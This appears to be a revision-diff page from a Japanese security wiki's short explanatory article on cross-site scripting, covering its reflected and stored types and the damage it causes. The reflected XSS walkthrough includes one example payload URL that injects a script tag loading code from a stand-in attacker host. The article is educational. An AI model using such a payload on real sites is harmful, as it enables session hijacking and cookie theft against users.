「XSS」の版間の差分
提供: セキュリティ
細 |
|||
行1: | 行1: | ||
− | [[XSS]] は、 Cross Site Scripting の略です。悪意ある第三者が[[JavaScript]]をページのクエリや | + | [[XSS]] は、 Cross Site Scripting の略です。悪意ある第三者が[[JavaScript]]をページのクエリや CGM (掲示板など)のコメントとして書き込み、ウェブページに悪意ある[[JavaScript]]を埋め込み、セッションを乗っ取ったり、セッション Cookie を盗んだり、ページの改竄、情報の搾取などを行う攻撃のことです。 |
− | 読み方 | + | '''読み方''' |
:XSS | :XSS | ||
::えっくすえすえす | ::えっくすえすえす | ||
:Cross Site Scripting | :Cross Site Scripting | ||
::クロスサイトスクリプティング | ::クロスサイトスクリプティング | ||
− | + | ;Stored XSS:すとあど えっくす えす えす | |
+ | ;Reflected XSS: りふれくてっど えっくす えす えす | ||
__TOC__ | __TOC__ | ||
− | |||
== 概要 == | == 概要 == | ||
− | + | [[XSS]] には、以下のタイプが存在します。 | |
− | + | ||
− | + | ||
* 折り返し型 XSS ( Reflected XSS ) | * 折り返し型 XSS ( Reflected XSS ) | ||
** フィッシングメール、攻撃用 Web サーバの利用 | ** フィッシングメール、攻撃用 Web サーバの利用 | ||
* 蓄積型 XSS (Stored XSS) | * 蓄積型 XSS (Stored XSS) | ||
** SNS, 掲示板、ブログ | ** SNS, 掲示板、ブログ | ||
− | |||
== 被害 == | == 被害 == | ||
− | + | JavaScript で実現可能なこと範囲で、被害を受けます。 | |
− | JavaScript | + | 被害の例を以下に挙げます。 |
− | + | ||
− | + | ||
− | + | ||
* Cookie の漏洩 | * Cookie の漏洩 | ||
* 情報漏えい | * 情報漏えい | ||
行30: | 行24: | ||
* マルウェアの感染 | * マルウェアの感染 | ||
* 別のサイトへの誘導 | * 別のサイトへの誘導 | ||
− | |||
== Reflected XSS == | == Reflected XSS == | ||
− | |||
# <pre>http://example.com/?id=<script src="http://eval.com/bad.js"></script></pre> へユーザを送り込む。 | # <pre>http://example.com/?id=<script src="http://eval.com/bad.js"></script></pre> へユーザを送り込む。 | ||
# ユーザが example.com にアクセスすると、 example.com は、 id の値をそのままエコーバックする。 | # ユーザが example.com にアクセスすると、 example.com は、 id の値をそのままエコーバックする。 | ||
# example.com のページは、 eval.com/bad.js をロードし、 example.com の権限で実行される。 | # example.com のページは、 eval.com/bad.js をロードし、 example.com の権限で実行される。 | ||
− | |||
== Stored XSS == | == Stored XSS == | ||
− | |||
# 掲示板に「悪意のあるスクリプト」を書き込む。 | # 掲示板に「悪意のあるスクリプト」を書き込む。 | ||
#: <script> | #: <script> | ||
行46: | 行36: | ||
# 「悪意のあるスクリプト」を含む HTML ページがロードされる。 | # 「悪意のあるスクリプト」を含む HTML ページがロードされる。 | ||
# 第三者のブラウザで、「悪意のあるスクリプト」が実行される。 | # 第三者のブラウザで、「悪意のあるスクリプト」が実行される。 | ||
− | |||
== 関連情報 == | == 関連情報 == | ||
− | |||
* [[脆弱性]] | * [[脆弱性]] | ||
* http://xssed.com/archive | * http://xssed.com/archive |
2016年1月15日 (金) 00:56時点における最新版
XSS は、 Cross Site Scripting の略です。悪意ある第三者がJavaScriptをページのクエリや CGM (掲示板など)のコメントとして書き込み、ウェブページに悪意あるJavaScriptを埋め込み、セッションを乗っ取ったり、セッション Cookie を盗んだり、ページの改竄、情報の搾取などを行う攻撃のことです。
読み方
- XSS
- えっくすえすえす
- Cross Site Scripting
- クロスサイトスクリプティング
- Stored XSS
- すとあど えっくす えす えす
- Reflected XSS
- りふれくてっど えっくす えす えす
概要
XSS には、以下のタイプが存在します。
- 折り返し型 XSS ( Reflected XSS )
- フィッシングメール、攻撃用 Web サーバの利用
- 蓄積型 XSS (Stored XSS)
- SNS, 掲示板、ブログ
被害
JavaScript で実現可能なこと範囲で、被害を受けます。 被害の例を以下に挙げます。
- Cookie の漏洩
- 情報漏えい
- Web ページの改ざん
- マルウェアの感染
- 別のサイトへの誘導
Reflected XSS
-
http://example.com/?id=<script src="http://eval.com/bad.js"></script>
へユーザを送り込む。 - ユーザが example.com にアクセスすると、 example.com は、 id の値をそのままエコーバックする。
- example.com のページは、 eval.com/bad.js をロードし、 example.com の権限で実行される。
Stored XSS
- 掲示板に「悪意のあるスクリプト」を書き込む。
- <script>
- 悪意のあるスクリプト
- </script>
- その掲示板に第三者がアクセスする。
- 「悪意のあるスクリプト」を含む HTML ページがロードされる。
- 第三者のブラウザで、「悪意のあるスクリプト」が実行される。